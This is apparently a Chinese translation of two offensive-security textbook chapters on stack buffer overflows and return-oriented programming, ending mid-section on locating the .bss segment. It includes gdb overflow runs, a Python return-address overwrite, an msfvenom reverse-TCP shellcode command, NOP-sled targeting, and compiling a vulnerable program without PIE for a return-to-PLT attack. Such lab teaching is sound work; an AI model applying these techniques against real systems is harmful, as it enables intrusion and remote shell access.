如果你找到了基指针地址并识别出它之后的十六进制字,你将得到返回地址,如下所示的截图所示:

图 10.7 – 高亮显示返回地址

图 10.7 – 高亮显示返回地址

仔细检查直到理解为止。然后,使用quit命令退出,以便我们可以再次执行相同的步骤。这一次,我们将用一长串字母z使程序崩溃,如下所示的命令所示:

gdb 演示

(gdb) break 6

(gdb) run $(python -c 'print "z"*400')

啊!我们做了什么?看看函数试图跳转的内存地址,如下截图所示:

图 10.8 – 查看程序试图发送执行的位置

图 10.8 – 查看程序试图发送执行的位置

如你所见,如果你像之前一样运行x/80x $esp,你将再次看到栈。找到基指针,然后读取它之后的十六进制字。现在显示的是0x7a7a7a7a7a是 ASCII 字符z的十六进制表示。我们溢出了缓冲区并替换了返回地址!我们的计算机对此非常愤怒,因为0x7a7a7a7a要么不存在,要么我们没有权利跳转到那里。在将其转化为有效攻击之前,我们需要确保理解内存中的位顺序。

小问题——理解字节序

“据计算,曾经有一万一千人多次死于非命,而不是屈服于在小端打破他们的蛋。”

– 乔纳森·斯威夫特,《格列佛游记》

稍微离开键盘,享受一下文学趣闻。在乔纳森·斯威夫特于 1726 年出版的《格列佛游记》中,我们的叙述者和旅行者莱梅尔·格列佛讲述了他在利立浦特国的冒险。利立浦特人被揭示为一群古怪的人,以对看似微不足道的事情进行激烈的争论而闻名。几个世纪以来,利立浦特人总是从大端打破鸡蛋。当一位皇帝试图通过法律强制规定鸡蛋必须从小端打破时,导致了叛乱,许多人因此丧命。

在计算机世界中,事实证明并不是所有人都同意字节在内存中的排列顺序。如果你花了很多时间研究网络协议,你会习惯于对从左到右读取的直觉——大端法,即最重要的位先存储在内存中。而在小端法中,最不重要的位先存储。通俗来说,小端法看起来像是倒着来的。对于我们这些黑客来说,这一点非常重要,因为就像利立浦特人一样,并不是每个人都会在你认为微不足道的事情上和你意见一致。作为一个壳编码者,特别是一个逆向工程师,你应该立即适应小端排序,因为它是 Intel 处理器的标准。

让我们通过使用内存中的十六进制单词给出一个简单的例子。比如说,假设你想让0x12345678出现在堆栈中。你传递给溢出函数的字符串将是\x78\x56\x34\x12。当你的漏洞利用失败时,你会发现自己首先检查字节顺序,作为故障排除的第一步。

现在,我们将进入壳编码的奇异世界。我们之前提到,将 400 字节的 ASCII 字母z塞入缓冲区会导致返回地址被0x7a7a7a7a覆盖。如果我们用以下输入执行程序,我们将跳转到哪个返回地址?

demo $(python -c 'print "\x7a"*300 + "\xef\xbe\xad\xde"')

请记住小端法的概念,并在继续下一部分之前先进行尝试。

介绍壳编码

如果你在上一节的最后一个示例中尝试过,你应该看到执行试图跳转到 0xdeadbeef。(我们使用 deadbeef 是因为它是你可以用十六进制字符表示的少数几个内容之一。而且,它看起来不就像某种可怕的黑客名字吗?)这儿的关键是展示通过精心选择输入,你能够控制返回地址。这意味着我们也可以将 shellcode 作为参数传递,并将其填充到恰到好处的大小,以便连接返回地址到有效载荷中,然后返回并执行它。这本质上就是栈溢出攻击的核心。然而,正如你想象的那样,返回地址需要指向内存中的一个合适位置。在我们处理这个之前,让我们先获取一些比 deadbeef 更激动人心的字节。

我们不打算生成有效载荷并将其传递给将作为 MetasploitShellter 输入的文件,而是希望直接获取这些顽皮的十六进制字节。因此,我们不会将其输出到可执行文件,而是以 Python 格式输出,并直接从终端获取这些值。你知道接下来会发生什么,对吧?是的,我们将使用 msfvenom 来生成有效载荷。试试看吧——使用 Linux x86 有效载荷,获取字节,看看能否填满缓冲区并覆盖返回地址。

它没有成功,对吧?你可以看到有效载荷的前几个字节,但接下来似乎会变成零并且有一些其他的内存引用在各处。我们在第一次介绍 msfvenom 时提到了 坏字符 —— 实际上会破坏执行的十六进制字节。臭名昭著的例子是 \x00,空字节。如果你尝试使用 msfvenom 帮助屏幕上的示例 —— '\x00\xff' —— 这算是一个不错的猜测,但它可能也没有成功。因此,我们唯一的选择就是在十六进制的丛林中进行猎寻,找到那些破坏我们 shellcode 的字节。

我们如何在不逐字节检查 shellcode 的情况下完成这项任务呢?幸运的是,有一个巧妙的解决方法。

猎寻破坏 shellcode 的字节

我们的破损 shellcode 问题的好处在于,罪魁祸首每次只是一个字节。一个字节只有两个十六进制数字,所以总共有 16 * 16 = 256 个字符需要检查。手动检查这些似乎有点多,但我们已经有了目标可执行文件演示,并且我们也有 GDB。那么,为什么不将所有 256 个字符(我们的猎寻有效载荷)作为一个参数传递,并在末尾加上一个 target 序列,看看我们的填充是否能到达堆栈呢?如果没有,我们就知道代码在某个地方断开了,然后可以逐字节调试,找到断点。当断开时,删除有问题的字符,然后反复操作。

让我们来看看这个示例。请注意,我使用了 4 字节的\x90作为填充:

图 10.9 – 使用 GDB 查找 shellcode 中的断点

图 10.9 – 使用 GDB 查找 shellcode 中的中断

让我们更仔细地检查这个输出:

  • 我们可以很容易地在内存中的下一个位置看到我们的 4 个填充字节——0x90909090。因此,我们预计内存中的下一个单词应该是我们搜索载荷的开始;前四个字节是 01、02、03 和 04。由于是小端格式,我们预计是0x04030201

  • 我们在内存的下一个位置看到了预期的单词,所以现在让我们开始寻找中断。我们知道接下来的单词应该是这样的——0x080706050x0c0b0a09,以此类推。

  • 嘿!我们发现0xb7fcc100,而不是我们搜索载荷的继续部分。那看起来很像内存中的一个位置。不管怎样,我们看到\x08是我们序列中最后一个成功进入堆栈的字节。

  • 因此,我们现在可以推断出\x09是破坏代码的字符。

现在我们移除有问题的字符,并用修改后的搜索载荷再次运行——这就是反复操作的部分。最终,如果我们到达结尾并看到目标序列,我们就知道我们的字符是有效的。在这个例子中,我们使用\x7a作为目标。现在,让我们跳到当我最终通过一个没有坏字符的搜索载荷时的时刻。

当我发现那四个标志性的\x7a字节时,我知道我们已经到达了终点:

图 10.10 – 概念验证:shellcode 不包含坏字符

图 10.10 – 概念验证:shellcode 不包含坏字符

你可能会想,是否可以在线查找坏字符。这将帮助你发现一些常见的恶性字符,比如\x00。然而,这在不同系统之间可能会有所不同。不管怎样,这个过程是有价值的,因为你正在获得与目标的经验和熟悉度。

使用 msfvenom 生成 shellcode

现在我们知道了哪些字符会破坏我们的 shellcode,我们可以发出我们的msfvenom命令来抓取一个载荷,如下所示:

msfvenom --payload linux/x86/shell/reverse_tcp LHOST=127.0.0.1 LPORT=45678 --format py --bad-chars '\x00\x09\x0a\x20\xff'

你如何处理输出完全取决于你。你可以将其转储到一个 Python 脚本中,并在运行易受攻击的程序时作为参数调用。在以下例子中,我们将它直接转储到一个简单命令中以便操作:

图 10.11 – 使用 Python 将缓冲区填充上 shellcode

图 10.11 – 使用 Python 将缓冲区填充上 shellcode

在这里我们看到一个概念验证——所有这些垃圾数据都是经过清理的有效负载,返回内存覆盖被附加在末尾。这证明了代码没有崩溃,因为你可以看到在定义的位置发生了段错误无法访问内存。如果代码实际上能够正常工作,并且我们将内存地址指向一个能够将执行流带到 shellcode 顶部的位置,那么我们就成功了。然而,还有一个难题,那就是准确地指向内存中 shellcode 所在的位置,这个问题难度大得出乎意料。你注意到 shellcode 前面的填充了吗?它是 150 字节的\x90;不同于字母 z,这并不是随意的。

戴上手套,我们要去玩 NOP 滑道了

处理器并不总是需要工作。毕竟,我们都需要休息一下。处理器总是按照指令执行,恰好我们可以告诉它做任何事情。如果我们告诉处理器执行无操作,这条指令就叫做NOP。为了了解这如何帮助我们,让我们来看一下下面的堆栈结构:

图 10.12 – 攻击者如何指引执行流

图 10.12 – 攻击者如何指引执行流

整个红色框就是我们要填充到缓冲区中的内容。正如你所看到的,它根本无法完全适应;它会溢出缓冲区框,进入下面的空间,包括返回地址,我们将其指向 NOP 滑道的中间。执行流会到达返回地址并跳转到那里,以为它正在按预期返回;它没有意识到的是,我们已经覆盖了那个地址,它现在会忠实地跳转到我们刚刚填充进缓冲区的 NOP 滑道。NOP 滑道只不过是一长串无操作的代码。如果执行流落在那里,处理器将直接跳过这些指令,什么也不做,直到执行到下一条指令。执行就像从山顶滑下去一样,几乎字面意义上滑下山坡。山坡的底部就是我们的 shellcode。这种方法意味着我们不需要精确预测返回地址——它只需要落在 NOP 区域的任何位置。

NOP 代码\x90是最流行的,但就像防御中的许多事情一样,走得最多的路也是最容易被封堵的。不过,你可以传递一个 NOP 标志给msfvenom,它将为你生成由多种 NOP 代码组成的滑道。无论你使用哪种方法,你需要知道 NOP 滑道的长度。如果它太长,你只会用部分 shellcode 来覆盖 RET,这可能会导致段错误。我们已经知道我们的缓冲区是 300 字节,而有效负载是 150 字节。理论上,将缓冲区的正好一半填充 NOP 应该能精确覆盖返回地址。那么,我们应该指向哪里呢?实际上,任何地方都可以,只要你瞄准 NOP 滑道。那个范围内的任何地址都可以工作。

让我们再次使用 GDB 中的十六进制检查命令,观察你填充 NOP sled 后的栈情况:

图 10.13 – NOP sled 将我们引导到 shellcode

图 10.13 – NOP sled 将我们引导到 shellcode

这里,我们标出了我们的滑雪坡。现在我们知道,在0xbffff3440xbffff3d7之间的任何目标都会使我们进入 NOP sled,然后我们将滑入 shellcode 执行。

现在我们可以利用所学的知识,在不同环境下灵活地处理不同的可执行文件。再次尝试这些步骤,使用一个包含易受攻击缓冲区的不同 C 程序,这样你将处理不同的值。

摘要

在本章中,我们学习了程序执行过程中低级内存管理的基础知识。我们学会了如何检查执行过程中的细节,包括如何暂时暂停执行,以便我们可以详细检查内存。我们介绍了一些关于汇编语言和调试的基本知识,不仅完成了本章的学习,也为后续章节的工作做好了准备。我们编写了一个简单且易受攻击的 C 程序,演示栈溢出攻击。一旦我们理解了栈级别的程序,我们就使用msfvenom生成了一个纯十六进制操作码的有效负载。为了准备这个有效负载进入目标,我们学会了如何手动查找并移除破坏代码的 shellcode。

在下一章,我们将讨论这些原理如何促使防御者的进化,以及返回导向编程(ROP)这一创新解决方案。

问题

回答以下问题,测试你对本章内容的理解:

  1. 栈是一个 ________,即后进先出(LIFO)结构。

  2. 对于这个通用寄存器列表,找出未列出的八个寄存器中的哪一个——EAXEBXECXEDXEBPESIEDI

  3. 在 AT&T 汇编语言符号中,从一个地方复制数据到另一个地方时的操作数顺序是 ________。

  4. jnz 会导致执行跳转到指定的地址,如果 EBX 的值为零。(对 | 错)

  5. 基址指针和栈指针之间的内存空间是 ________。

  6. \x90 操作码臭名昭著地破坏了 shellcode。(对 | 错)

  7. 什么是小端(little-endian)?

进一步阅读

若要了解更多关于本章涵盖主题的信息,请查看以下资源:

  • 为了乐趣和利益,砸栈,这是对栈溢出攻击的臭名昭著讨论(www.phrack.org/issues/49/14.xhtml#article

  • 实用逆向工程:x86、x64、ARM、Windows 内核、逆向工具和混淆,Dang、Bruce、Alexandre Gazet 和 Elias Bachaalany 著,John Wiley and Sons,2014 年。

第十一章:Shellcoding – 绕过保护

当我和朋友或家人谈论机场安全时,我常常听到一句玩笑话:“也许我们应该直接禁止乘客登机”。虽然这显然是讽刺的,但让我们稍作思考——无论我们如何筛查每个登机的人,我们仍然必须让至少一些人通过,特别是飞行员。恶意的外部人员与信任的内部人员之间有明显的界限,后者因为他们的角色需要被赋予必要的访问权限以完成工作。我们可以将恶意的外部人员比作 shellcode,将负责操作的信任飞行员比作合法的本地二进制文件。在完美的安全筛查确保没有恶意人员能登机的情况下,你仍然必须相信飞行员没有受到外部影响的腐蚀;也就是说,他们的权力被用来执行恶意行为。

欢迎来到返回导向编程ROP)的概念,在这个世界中,我们生活在一个没有办法注入和执行 shellcode 的“天堂”,但我们已经找到了如何利用已有代码来完成我们的“肮脏工作”。我们将学习如何将 x86 指令集的密度与传统的程序缓冲区漏洞结合,从而构造几乎任何任意功能。我们将暂时不再注入恶意代码,学习如何将“好代码”反过来用在自身。

在本章中,我们将涵盖以下主题:

  • 理解核心防御概念,如数据执行防护DEP)和地址空间布局随机化ASLR

  • 学习如何检查机器码和内存,识别可以为我们所用的指令,这些指令被称为小工具(gadgets)

  • 理解基于 ROP 的不同类型的攻击

  • 探索黑客们用来实施 ROP 攻击的工具

  • 编写并攻击一个易受攻击的 C 程序

技术要求

对于 ROP,你需要以下内容:

  • 32 位 Kali Linux 2021.3

  • ROPgadget

DEP 和 ASLR——有意为之与不可避免的情况

到目前为止,我们只是稍微提到了这些概念:DEP(也叫做 NX,禁止执行)和 ASLR。我恐怕我们不能永远避开它们。我听到后面有几个黑客在说,好啊!当我们必须禁用基本保护才能让攻击生效时,演示的冲击力就消失了。这说得也有道理。当我们在第十章中介绍基本的缓冲区溢出时,Shellcoding – 栈,我们显式地禁用了 ASLR。(公平来说,Windows 7 系统开箱即用就是这样。)不过,这一切都是经过设计的——我们首先要回过头来,才能理解核心概念。这些保护机制是应对我们已展示过的攻击。但看看我,又在跑题,没定义这些简单的概念。

理解 DEP

你还记得我们把 shellcode 放到哪里吗?答案是在栈或堆内存中,它是为执行线程预留的内存。当一个函数运行时,会为变量和其他完成任务所需的数据分配空间;换句话说,这些区域并不打算存放可执行代码。在内存中选择一个位置来存储一个数字,但后来被告知,嘿,记得那个内存位置吗?让我们执行那里存放的内容,应该是值得怀疑的。但不要忘了,处理器是非常强大、迅速且愚笨的。它们会按指令执行。这个简单的设计,即执行指令指针指向的位置的内容,就是 shellcoding 黑客所利用的。

进入 DEP。DEP 的基本原理是监控指令指针引用的内存位置是否被明确标记为可执行。如果没有标记,便会发生访问冲突。Windows 有两种 DEP——软件强制硬件强制。以下截图展示了 Windows 界面上 DEP 设置的样子:

图 11.1 – Windows 中的 DEP 设置

图 11.1 – Windows 中的 DEP 设置

软件强制 DEP 在操作系统的更高层运行,因此,任何能运行 Windows 的机器都可以使用,并且可以防止任何试图利用异常处理机制的攻击。硬件强制 DEP 则使用处理器的执行禁用XD)位来标记内存位置为不可执行。我们来看一下软件强制和硬件强制的区别:

图 11.2 – 两种 DEP:软件和硬件

图 11.2 – 两种 DEP:软件和硬件

那么,这对我们这些狡猾的黑客有什么影响呢?整个技巧在于为我们的代码分配内存,而程序将其视为普通变量。同时,我们希望处理器能信任我们,认为执行流的跳转是指向指令指针地址的。首先,让我们来看一下内存位置的随机化。

理解 ASLR

回忆一下我们在处理栈溢出攻击时的经历。我们在代码中找到了易受攻击的strcpy()函数,往缓冲区填入无意义的字符,故意溢出它,然后查看调试器,发现 EIP 被我们无意义的数据覆盖。通过精心构造有效载荷,我们能够找到内存中需要放置 NOP sled 指针的准确位置,最终执行 shellcode。现在,回想一下我们使用 gdb 的 examine (x) 工具来确定 EIP 在内存中的确切位置。因此,我们能够绘制出栈的结构,并且每次运行进程时都能可靠地到达该指令指针的位置。

请注意,我强调了“可靠性”一词。现代操作系统,如 Windows,允许多个程序同时运行,并且它们都有大量可寻址的内存可用——而这里的“大量”是指超出了物理内存所能容纳的范围。操作系统的部分职责是找出那些不太重要的内存部分,以便将它们存储在硬盘上,并在需要时通过分页调入使用。因此,程序看到的是一个庞大的连续内存块,实际上是虚拟的,而内存管理单元则管理着那一层隐藏物理现实的抽象:

图 11.3 – 虚拟内存与其物理基础之间的抽象

图 11.3 – 虚拟内存与其物理基础之间的抽象

引入 ASLR。这个名字很形象——程序在虚拟地址空间中的布局在每次运行时都会发生变化。这包括像库文件、栈和堆之类的内容。当然,要找到可以做我们“脏活”的内存位置,需要通过传统的试错方法(黑客的最大技巧),但一旦发现,它们就会保持一致。ASLR 打破了这一点,它通过将内存中的目标位置变成一个机会游戏,来消除我们的依赖。

我还没有讨论过库,这个话题值得一本巨大的书来讲解。虽然我们快速回顾一下吧。想象一下,名义上的“你所在的公共图书馆”。它是一个共享资源的地方——你可以去借一本书,利用其中的信息,然后再归还给其他人使用。库是程序可以重用的资源集合。例如,从文件中读取信息和将数据写回文件的任务,需要代码来告诉计算机如何执行,但这是许多不同程序都会需要做的事情。因此,不必为每个程序重新发明轮子,许多程序都可以使用包含这些功能的库。你可以在编译程序时将库与代码一起包含,这会使用更多内存,但可以更快速地运行。这些是静态库。更常见的方法是动态库,它们在你运行程序时被链接。

在 Kali Linux 上使用 C 演示 ASLR

我们可以在本地的 Kali Linux 上观察 ASLR 的工作情况,因为它默认启用。我们将编写一个简单的 C 程序,仅仅打印当前 ESP 指向的位置。

启动vim stackpoint.c来创建一个空文件,然后输入以下内容:

图 11.4 – 一个快速的 C 程序,打印 ESP 的位置

图 11.4 – 一个快速的 C 程序,打印 ESP 的位置

这并不难。现在使用gcc -o stackpoint stackpoint.c编译它,然后执行几次。你会看到每次运行程序时栈指针的位置都会发生变化:

图 11.5 – 我们的栈指针程序在启用随机化时的运行情况

图 11.5 – 我们的栈指针程序在启用随机化时的运行情况

这就是虚拟内存随机化的样子。看看禁用 ASLR 后运行相同程序时输出的鲜明对比:

图 11.6 – 我们的栈指针程序在禁用随机化后

图 11.6 – 我们的栈指针程序在禁用随机化后

通过这个演示,让我们介绍 ROP 的基本概念。

介绍 ROP

所以,现在我们看到两种不同的反制措施,它们相互配合,使坏人的生活变得更加困难。我们正在消除加载程序到内存时,找到脆弱点所需的可预测性,同时将执行允许的内存区域限制到最小。换句话说,DEP/NX 和 ASLR 将一个大而固定的靶子转变成一个小而移动的靶子。希望你作为黑客,已经在为这些保护机制的安全假设进行头脑风暴。可以这样理解——我们将内存的某些区域设置为不可执行。然而,这毕竟是一个程序,所以某些指令必须执行。我们正在随机化地址空间,使得很难预测在哪里找到某些结构,但执行流程依然存在。必须有一种方法可以找到完成任务所需的一切。ROP 就利用了这一现实。让我们来看看它是如何做到的。

借用代码块并返回到 libc —— 让代码反过来为自己服务

当我们介绍缓冲区溢出攻击时,我们利用了我们自制 C 程序中的漏洞——那就是臭名昭著的strcpy()函数。由于该函数会将任何大小的输入传入固定大小的缓冲区,我们知道,只要进行一些研究,找到合适的输入就能使指令指针溢出并填入任意值。我们能够控制程序执行流的去向,那么我们该把它发送到哪里呢?当然是发送到我们注入的 shellcode 啦,傻瓜。为了实现这一点,我们做了两个重要假设——我们可以将任意代码块注入内存,并且可以说服处理器执行这些指令。假设这两个条件不成立——我们是应该打包回家,任由这个美味的strcpy()函数继续存在吗?没有这两个假设,我们仍然可以覆盖返回地址。我们不能直接指向我们注入的 shellcode,但我们可以指向程序中已存在的其他指令。这就是这个概念的核心:从程序内部借用代码块并使用返回来实现这一点。在你深入低级汇编世界之前,你可能已经直觉到,设计用于加载网页的程序只包含加载网页的代码。作为尊敬的黑客,你明白所有复杂程度的程序在最低层次上都在做一些非常简单的事情。你的友好网页浏览器和我那危险的后门 shellcode 共享相同的语言和相同的低级操作,都是在临时存储区中搬运数据,并告诉处理器下一段工作的地址。

好吧,所以我们正在借用来自脆弱程序中的代码来为我们做一些事情。听起来那些几乎什么也不做的小程序似乎会有更少的代码可供我们利用。我能听到后排的程序员在对我喊:别忘了库! 记住,甚至是那些仅供本书示范的小程序,也需要复杂的代码来做我们视为理所当然的事情。例如,拿 printf() 来说。程序怎么知道如何在屏幕上打印信息?试试创建一个包含 printf() 函数的 C 程序,但没有在顶部加上 <#include stdio.h> 这一行。会发生什么?没错——它无法编译:

图 11.7 – 忘记了我们的输入/输出预处理指令

图 11.7 – 忘记了我们的输入/输出预处理指令

请记住,include 预处理指令字面上是将定义的代码块包含进来。即使是两三行代码,在编译后也会充满“好东西”。这些“好东西”不仅仅是一些美味的小点心——它们是 C 程序中共享的 DNA。你 C 代码顶部的头文件引用了 C 标准库(libc)。libc 标准库包含了类型定义和宏等内容,还包含了许多我们常常视为理所当然的任务的函数。这里需要注意的一点是,多个函数可能来自同一个库。将这些联系在一起,当攻击者覆盖返回地址时,一种可能性是指向某个函数,这个函数在内存中存在正是因为它的功能是通过 include 指令引入的。作为 C 语言的标准库,libc 是显而易见的攻击目标;几乎任何程序,甚至是最简单的程序,它都会被链接进去,并且包含了许多我们可以利用的强大功能。这些攻击被称为 return-to-libc 攻击。

return-to-libc 技术帮助我们绕过了那种讨厌的不可执行防御。我们刚刚丢入栈中的任意代码实际上位于不可执行的空间中;另一方面,libc 函数则位于内存中的其他地方。返回到这些函数能让攻击者访问强大的功能,而无需我们自己写 shellcode。但这种方法有一个问题:内存布局随机化或 ASLR。在 ASLR 出现之前,这些有用的 libc 函数的位置很容易确定。在本章中,实操实验将查看 return-to-libc 方法的一种变体。

仍然需要有效 – ASLR 和偏移量

请记住,尽管 ASLR 会随机化基础地址,但程序仍然需要正常工作——也就是说,它需要能够找到自己各个部分的位置。因此,ASLR 根本无法改变从一个地方到另一个地方的距离——即偏移量。有时,一种叫做内存泄漏的漏洞可以向攻击者泄露随机化后的内存布局,从而帮助攻击者通过添加偏移量来找到目标函数的正确内存位置——即使它已经被随机化了!

如你所见,ROP 是一种攻击方式,而且有不同的方法来实现这种技术。对于这种概念的各种变体的正确处理超出了本书的范围,所以我们将仅展示一个基本示范。

ROP 的基本单元——gadget

我们正在使用的 x86 指令集有时被描述为紧凑的。一个单一字节的指令可能拥有强大的功能;例如,lodsb从内存中加载一个字节,并同时递增指针。那么,只有少量字节的程序呢?好吧,我们可用的选项就不会太多。但如果是任何一个链接到 C 标准库的程序呢?它的指令足够强大,足以让攻击者几乎做任何事情。我们可以利用代码的漏洞,将其反过来对付自己。

当一个函数被调用时,它的指令会被推送到栈上,位于返回地址之上,这样执行就可以从上次的过程调用处继续。在缓冲区溢出期间,我们会覆盖返回地址以控制执行流。现在,假设我们已经覆盖了返回地址,使其指向一些以返回结尾的指令。那些指令指向其他以返回结尾的指令,这些又指向其他以返回结尾的指令——你明白了。这些单独的代码片段被称为gadget(小工具)。通常,一个 gadget 比较短,但总是以将执行流转移到其他地方的指令结束。我们将这些 gadget 连接起来,创建任意功能——完全不需要注入。

希望你已经对我们所面临的情况有了基本的理解——现在我们需要检查这个任务的标准工具集。

熟悉我们的工具——MSFrop 和 ROPgadget

足够的讲解——让我们来看看你在开发 ROP 漏洞时最常用的两个工具。在将 Kali Linux 发挥到极限的精神下,我们将探索 MSFrop。这个工具非常适合在目标二进制文件中辅助研究 gadget。它会为你找到 gadget,并以友好的方式输出,供你回顾。然而,我们真正穿上实验服的工具是 ROPgadget。

Metasploit Framework 的 ROP 工具——MSFrop

我们习惯使用msfvenom,它是独立的,但仍然是 Metasploit 的一部分。MSFrop 则不同——它需要从 MSF 控制台运行。让我们启动msfconsole,然后运行msfrop,开始熟悉这个巧妙的工具猎人:

msfconsole

msf6 > msfrop

这只会显示一页帮助页面,列出所有选项。让我们逐步分析这些选项,了解 MSFrop 的强大功能:

  • --depth本质上是衡量你的 gadget 搜索深入代码的深度。由于 gadget 以返回指令结束,depth标志会从返回指令开始,向后搜索。深度是我们愿意从给定的返回位置向后搜索的字节数。

  • --search用于当我们要在 gadget 中寻找特定字节时。此标志接受一个正则表达式作为搜索查询;最常见的正则表达式之一是\x,表示十六进制数字。

  • --nocolor仅仅是为了美观;它去除了显示颜色,方便将输出结果传递给其他工具。

  • --exportdepth一样,是 MSFrop 的一个标准参数,特别是在较深的查找时。这会将 gadget 导出到 CSV 文件中,方便你在终端窗口过时后进行查看。

现在让我们来看看 ROP 世界中的另一个重要工具:ROPgadget。

你的高级 ROP 实验室 – ROPgadget

我直说了——我认为 MSFrop 在我们比较 ROP 工具时更像是一个荣誉提名。Metasploit Framework 能够作为一个全面的黑客工具非常棒,能在 MSF 控制台内研究二进制中的 gadget 也很方便。但我最喜欢的专用工具是用 Python 编写的 ROPgadget。它在我们的 Kali 盒子中用pip安装起来非常简单。如果你还没有安装pip,可以通过apt install python3-pip来安装它。然后,ROPgadget 只需一步安装:

图 11.8 – 使用 pip 安装 ROPgadget

图 11.8 – 使用 pip 安装 ROPgadget

让我们看看可用的选项,暂时不考虑一些特定处理器的命令:

  • --binary指定我们的目标,可以是 ELF 格式、PE 格式、Mach 对象格式或原始格式。

  • --opcode在二进制的可执行段中搜索已定义的操作码,而--string则在二进制的可读段中搜索指定的字符串。--string的一种用途是查看特定函数,如main()

  • --memstr是你借用目标二进制字符的生命线。假设你想将 ASCII 字符sh复制到缓冲区,而不进行注入。你可以传递--memstr "sh"参数,ROPgadget 将搜索内存中的\x73\x68

  • --depth在这里的含义与 MSFrop 中的相同。一旦找到ret,这个参数表示我们将搜索多少字节以找到 gadget。

  • --only--filter是指令过滤器。--only会隐藏所有内容,除了指定的指令;--filter会显示所有内容,除了指定的指令。

  • --range指定一个内存地址范围,以限制我们的 gadget 搜索范围。如果不使用此选项,将会搜索整个二进制文件。

  • --badbytes 就是字面意思,我疲惫的 shellcoder。就在你以为通过借用代码就能逃避那些破坏我们 shellcode 和梦想的字节时,经验丰富的 ROP 工程师偶尔会遇到这个问题。无论字节来自哪里,问题都会在执行时发生。还有一个需要记住的因素——实际的利用代码本身。在本章中,我们将使用 Python 来生成有效载荷。我们将使用强大的 struct 模块将二进制数据打包成字符串,然后像普通的字符串变量一样由 Python 处理。当你坐在那里调试破损的脚本时,记住 --badbytes,它可能正是你在找的东西。

  • --rawArch--rawMode 用于定义 32 位和 64 位架构及模式。

  • --re 接受一个正则表达式(例如,\x35)。

  • --offset 接受一个十六进制值,作为计算 gadget 地址的偏移量。

  • --ropchain 是一个绝妙的致命一击选项,可以为我们生成 Python 利用代码。它不像把它丢进一个 .py 文件然后执行那么简单;我们需要知道它是如何传递给易受攻击程序的。

  • --console 用于交互式 gadget 寻找。基本上,它会在 ROPgadget 中弹出一个终端窗口,以便进行特定的搜索。稍后我们会仔细看。

  • --norop--nojop--nosys 分别禁用特定 gadget 类型的搜索引擎——面向返回的、面向跳转的和系统调用指令的 gadgets。当你想了解你可以使用的所有 gadgets 时,通常不建议使用这些选项;它们仅用于精细化攻击。

  • 默认情况下,会抑制重复的 gadgets;你可以使用 --all 来查看所有内容。这对于收集与二进制文件中的 gadgets 相关的所有内存地址非常有用。

  • --dump 本质上是一个 objdump -x 对象,显示你的 gadgets;它会展示反汇编后的 gadgets 及其原始字节。

还有一些其他很棒的 ROP 程序可用,但 ROPgadget 应该可以完成几乎所有你的项目。让我们准备好进行测试,准备好我们的易受攻击可执行文件。

在不禁用保护的情况下创建我们的易受攻击 C 程序

ROP 攻击的广泛内容值得更多空间,但在这里我们只能提供一个简单的小示范,针对的是 x86 Linux 目标环境。启动 vim buff.c 来准备一个新的 C 文件,在 Vim 编辑器中输入以下熟悉的代码:

图 11.9 – 经久不衰的易受攻击程序

图 11.9 – 经久不衰的易受攻击程序

现在我们可以编译我们的全新程序。但让我们尝试一些不同的做法。

没有 PIE 给你 —— 编译你的易受攻击可执行文件时不启用 ASLR 加固。

按下Esc,然后输入:wq!保存并退出 Vim;接着,编译你的可执行文件。这次,我们引入 Clang。GCC 和 Clang 的差异超出了本讨论的范围,类似于编辑器之争,你会在两者之间找到有力的论据。Clang 更加轻量,其编译的代码对我们实验的目的来说更加“干净”(它也可以在 Windows 上原生运行)。启动它并使用以下命令编译你的新 C 程序:

图 11.10 – 禁用 PIE 加固在编译时

图 11.10 – 禁用 PIE 加固在编译时

回想一下,当我们最初创建一个易受攻击的 C 程序时,其漏洞主要存在于代码中(具体来说,通过使用臭名昭著的strcpy()函数)。这次,我们使用易受攻击的代码并在启用了易受攻击选项的情况下编译可执行文件:-no-pie。当位置无关可执行文件PIE)在 ASLR 环境中加载时,内核加载所有代码并分配随机虚拟地址(当然,入口点除外)。通常,安全敏感的可执行文件是 PIE,但正如你所看到的,这并不一定是这样。在某些发行版中——特别是 Kali Linux——你需要显式地禁用 Clang 或 GCC 编译 PIE。

先走再跑 – 禁用 PIE

类似于我们在第十章中进行的堆栈保护演示,Shellcoding – 堆栈,本演示禁用了可能在安全环境中找到的一种包加固策略:PIE。然而,不同于缺少 DEP 和 ASLR,使用绝对地址的软件在一些企业环境中仍然很常见。

现在我们已经有了实验的可执行文件,接下来让我们理解我们将要破坏的低级机制。

生成 ROP 链

如果你记得我们之前写的简单易受攻击的 C 程序,这次你会注意到一些不同之处。我们已经熟悉了strcpy()函数,但在这个程序中,我们有了system()函数。作为 C 标准库的一部分,system()将把命令传递给主机执行。

我们可以从程序的代码中提取单独的字节,将它们通过返回地址链接起来,并传递我们想要的字节到system()函数。潜力是有的,但我们面临的问题是如何找出system()的位置。让我们将返回到 libc 的思想朝着另一个方向发展。

亲自动手进行返回到 PLT 攻击

我说过很多次,过程链接表PLT)和全局偏移表GOT)是值得专门写一本书的主题。然而,我们将尝试通过速成课程理解如何绕过内存空间随机化。由于我们的可执行文件不是位置无关可执行文件,这要归功于我们的-no-pie编译配置,所以全局结构在编译时的实际位置是未知的。GOT 实际上是可执行文件在运行时使用的地址表,用来将 PIE 地址转换为绝对地址。在运行时,我们的可执行文件需要共享库,这些库在引导过程中通过动态链接器加载和链接。这时,GOT 会被更新。

由于地址在运行时是动态链接的,编译器实际上并不知道我们非位置无关代码中的地址是否会从 GOT 中解析出来。所以,使用-no-pie指定后,编译器按常规生成调用指令;这被链接器解释用来确定绝对目标地址并更新 PLT。现在我知道你在想什么——PLT 和 GOT 听起来有点像。它们是相似的概念,GOT 帮助位置无关程序保持它们的独立性。但我们有一个动态链接的非位置无关可执行文件。这里有一个简单的区别——GOT 用于将地址计算转换为绝对目标地址,而 PLT 则用于将我们的函数调用转换为绝对目标地址。

现在,让我们考虑返回到 PLT 这个术语。我们通过设置 ROP 链,将返回指向特定位置来发送流程;在这个场景下,我们将流程引导到 PLT 函数调用,从而消除了在运行时需要知道地址的需求。我们的链接器无意中成了这场罪行的同谋。

提取构建有效负载所需的工具信息

现在,我们将逐步解析 ROP 链和漏洞利用生成。返回到 PLT 部分通过gdb很容易理解。使用 ROPgadget 查找我们将用来构建链的字节也很简单。但程序内存写入呢?首先,我们来搞清楚一切所在的位置。

查找.bss 地址

我们需要与程序的设计一起工作,以便将数据写入某个地方。我们可以使用可执行文件中的.bss段来完成这项任务,因为.bss是一个存放还没有值的变量的地方。它本质上是为这些变量预留的空间,因此不会占用目标文件中的空间。对于我们的目的来说,我们只需要知道它的位置。使用gdb中的info file命令来获取带有范围的段列表,并记录下.bss的初始地址:

